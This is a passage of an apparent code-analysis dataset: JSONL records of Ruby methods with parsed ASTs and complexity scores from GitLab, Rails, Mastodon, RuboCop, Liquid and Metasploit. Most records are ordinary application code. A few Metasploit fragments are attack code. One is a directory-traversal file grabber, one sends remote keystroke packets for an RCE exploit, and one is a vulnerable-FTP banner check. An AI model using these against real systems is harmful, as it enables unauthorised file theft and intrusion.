children\":[\" \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_ago_with_tooltip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html_class\"]},{\"type\":\"str\",\"children\":[\"gl-inline-block\"]}]}]}]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_container_start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<div class=\\\"merge-request-author-container\\\">\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_container_end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</div>\"]},\"html_safe\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"default_branch\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_button_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_copy_button\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_copy_button\"]},\"html_safe\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%{author_container_start}%{author}requested to merge %{author_container_end}%{source_branch} %{copy_button} \"]},{\"type\":\"str\",\"children\":[\"into %{target_branch} %{target_copy_button} %{created_at}\"]}]}]},{\"type\":\"lvar\",\"children\":[\"copy_button_data\"]}]}]}]}","id":"fd2a0580-ddc2-461d-bd59-4b0d75d8f90c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250514142542_move_ci_builds_to_dynamic_schema.rb","start_line":116,"raw_source":"def up\n    return unless can_execute_on?(TABLE_NAME)\n\n    connection.execute(<<~SQL)\n      ALTER TABLE IF EXISTS #{TABLE_NAME} SET SCHEMA #{DYNAMIC_SCHEMA};\n    SQL\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_execute_on?\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\" SET SCHEMA \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DYNAMIC_SCHEMA\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]}]}]}","id":"d3073675-11bb-485a-b664-13458236c8ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project_web_hook.rb","start_line":54,"raw_source":"def api_post_path\n        \"/projects/#{project.id}/hooks\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/hooks\"]}]}]}","id":"00dc782a-d790-4ed5-8ed0-336962df724b"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":1067,"raw_source":"def reverse\n        reverse_each.to_a\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reverse_each\"]},\"to_a\"]}]}","id":"5c104530-7f91-43fb-ac67-1a915ce4fc5c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/tvt_nvms_traversal.rb","start_line":49,"raw_source":"def run_host(ip)\n    filename = datastore['FILEPATH']\n    traversal = normalize_uri(target_uri.path, '/../' * datastore['DEPTH'], filename)\n\n    res = send_request_raw({\n      'method' => 'GET',\n      'uri' => traversal\n    })\n\n    unless res && res.code == 200\n      print_error('Nothing was downloaded')\n      return\n    end\n\n    print_good(\"#{peer} - Downloaded #{res.body.length} bytes\")\n    path = store_loot(\n      'nvms.traversal',\n      'text/plain',\n      ip,\n      res.body,\n      filename\n    )\n    print_good(\"File saved in: #{path}\")\n  end","complexity_score":28.93,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/../\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"traversal\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Nothing was downloaded\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Downloaded \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"nvms.traversal\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"9d712dc6-a276-4344-bfca-76bbae7ed317"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/object_storage/pending_direct_upload.rb","start_line":89,"raw_source":"def initialize(redis_key:, storage_location_identifier:, object_storage_path:, timestamp:)\n      @redis_key = redis_key\n      @storage_location_identifier = storage_location_identifier.to_sym\n      @object_storage_path = object_storage_path\n      @timestamp = timestamp.to_i\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"redis_key\"]},{\"type\":\"kwarg\",\"children\":[\"storage_location_identifier\"]},{\"type\":\"kwarg\",\"children\":[\"object_storage_path\"]},{\"type\":\"kwarg\",\"children\":[\"timestamp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@redis_key\",{\"type\":\"lvar\",\"children\":[\"redis_key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@storage_location_identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage_location_identifier\"]},\"to_sym\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@object_storage_path\",{\"type\":\"lvar\",\"children\":[\"object_storage_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]},\"to_i\"]}]}]}]}","id":"35e26eb7-eed0-408d-bf36-6bf572f4ad3c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/winrm_command_shell.rb","start_line":28,"raw_source":"def peerinfo\n        shell.transport.peerinfo\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"peerinfo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\"]},\"transport\"]},\"peerinfo\"]}]}","id":"46abdedd-10f8-41a2-be02-44d866a91ad1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/gtg/builder.rb","start_line":108,"raw_source":"def lastpos(node)\n          case node\n          when Nodes::Star\n            lastpos(node.left)\n          when Nodes::Or\n            node.children.flat_map { |c| lastpos(c) }.tap(&:uniq!)\n          when Nodes::Cat\n            if nullable?(node.right)\n              lastpos(node.left) | lastpos(node.right)\n            else\n              lastpos(node.right)\n            end\n          when Nodes::Terminal\n            nullable?(node) ? [] : [node]\n          when Nodes::Unary\n            lastpos(node.left)\n          else\n            raise ArgumentError, \"unknown lastpos: %s\" % node.class.name\n          end\n        end","complexity_score":42.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lastpos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Star\"]},{\"type\":\"send\",\"children\":[null,\"lastpos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Or\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"lastpos\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"uniq!\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Cat\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nullable?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"right\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lastpos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]}]},\"|\",{\"type\":\"send\",\"children\":[null,\"lastpos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"right\"]}]}]},{\"type\":\"send\",\"children\":[null,\"lastpos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"right\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Terminal\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nullable?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"array\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Unary\"]},{\"type\":\"send\",\"children\":[null,\"lastpos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown lastpos: %s\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"class\"]},\"name\"]}]}]}]}]}","id":"7ece014e-ba79-4eeb-bed6-cf3bf82165d9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_alignment_styles.rb","start_line":71,"raw_source":"def separator_delta(first_pair, current_pair, key_delta)\n          if current_pair.hash_rocket?\n            hash_rocket_delta(first_pair, current_pair) - key_delta\n          else\n            0\n          end\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"separator_delta\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_pair\"]},{\"type\":\"arg\",\"children\":[\"current_pair\"]},{\"type\":\"arg\",\"children\":[\"key_delta\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_pair\"]},\"hash_rocket?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash_rocket_delta\",{\"type\":\"lvar\",\"children\":[\"first_pair\"]},{\"type\":\"lvar\",\"children\":[\"current_pair\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"key_delta\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"139a4491-1a99-4b35-81cb-349f9f031bda"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/remote_control_collection_rce.rb","start_line":87,"raw_source":"def enter_key\n    udp_sock.put(\"#{special_key_header}\\x01\\x00\\x00\\x00\\x42\")\n    sleep(datastore['SLEEP'])\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enter_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"special_key_header\"]}]},{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\\u0000\\u0000B\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SLEEP\"]}]}]}]}]}","id":"1dd2c003-e385-4e3c-8b8c-929b5d6fb847"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/search/global_service.rb","start_line":18,"raw_source":"def execute\n      Gitlab::SearchResults.new(current_user,\n        params[:search],\n        projects,\n        order_by: params[:order_by],\n        sort: params[:sort],\n        filters: filters\n      )\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SearchResults\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},{\"type\":\"send\",\"children\":[null,\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"send\",\"children\":[null,\"filters\"]}]}]}]}]}","id":"ffa63a45-2bdc-4145-8343-360097bc6fdb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/activitypub/likes_controller.rb","start_line":22,"raw_source":"def set_status\n    @status = @account.statuses.find(params[:status_id])\n    authorize @status, :show?\n  rescue Mastodon::NotPermittedError\n    not_found\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"statuses\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@status\"]},{\"type\":\"sym\",\"children\":[\"show?\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"NotPermittedError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"not_found\"]}]},null]}]}","id":"b226081c-9723-46f8-ac28-7fa86e60dcdc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/deprecation/deprecators.rb","start_line":97,"raw_source":"def apply_options(deprecator)\n          @options.each do |name, value|\n            deprecator.public_send(\"#{name}=\", value)\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deprecator\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deprecator\"]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"b5e25cea-8403-4cc7-9475-f7b926bf3cf1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/freeftpd_user.rb","start_line":76,"raw_source":"def check\n    connect\n    disconnect\n    if (banner =~ /freeFTPd 1\\.0/)\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"freeFTPd 1\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"1c2ee32d-c5d6-49d4-aec8-c39ec4bdee57"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/relays_controller.rb","start_line":55,"raw_source":"def set_relay\n      @relay = Relay.find(params[:id])\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_relay\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@relay\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relay\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"84d2709b-a58a-4aba-bd22-2c9b551e25d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_import_test_group.rb","start_line":31,"raw_source":"def generate\n        check_access_token\n        raise(\"Project pool has no valid archive files\") if project_pool.empty?\n\n        logger.info(\"Creating '#{group_path}' group with #{project_copies} copies of exported projects\")\n        create_group\n\n        (1..project_copies).each do\n          name = \"imported-project-#{SecureRandom.hex(8)}\"\n          tar = project_pool[rand(0..project_pool.size - 1)]\n\n          logger.info(\"Fabricating copy of '#{tar.basename}' with name '#{name}'\")\n          Resource::ImportProject.fabricate_via_api! do |project|\n            project.file_path = tar.to_s\n            project.api_client = api_client\n            project.name = name\n            project.group = group\n            # we mark project as not import so it doesn't wait for import to finish\n            # when generating large projects, it can take a long time\n            project.import = false\n          end\n\n          sleep(10) # add pause to not trigger 'too many requests error'\n        rescue StandardError => e\n          logger.error(\"Failed to fabricate project '#{name}', error: #{e}\")\n        end\n      end","complexity_score":54.63,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_access_token\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_pool\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Project pool has no valid archive files\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_path\"]}]},{\"type\":\"str\",\"children\":[\"' group with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_copies\"]}]},{\"type\":\"str\",\"children\":[\" copies of exported projects\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_group\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"project_copies\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"imported-project-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_pool\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_pool\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fabricating copy of '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"basename\"]}]},{\"type\":\"str\",\"children\":[\"' with name '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resource\"]},\"ImportProject\"]},\"fabricate_via_api!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"file_path=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"api_client=\",{\"type\":\"send\",\"children\":[null,\"api_client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"group=\",{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"import=\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to fabricate project '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"', error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}","id":"a5f9dc72-9359-485a-9767-0777be09d6dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project_access_token.rb","start_line":58,"raw_source":"def api_delete_path\n        \"/projects/#{project.api_resource[:id]}/access_tokens/#{id}\"\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api_delete_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"api_resource\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"/access_tokens/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"9e7adf5b-75ef-4988-8015-c929526564e6"}
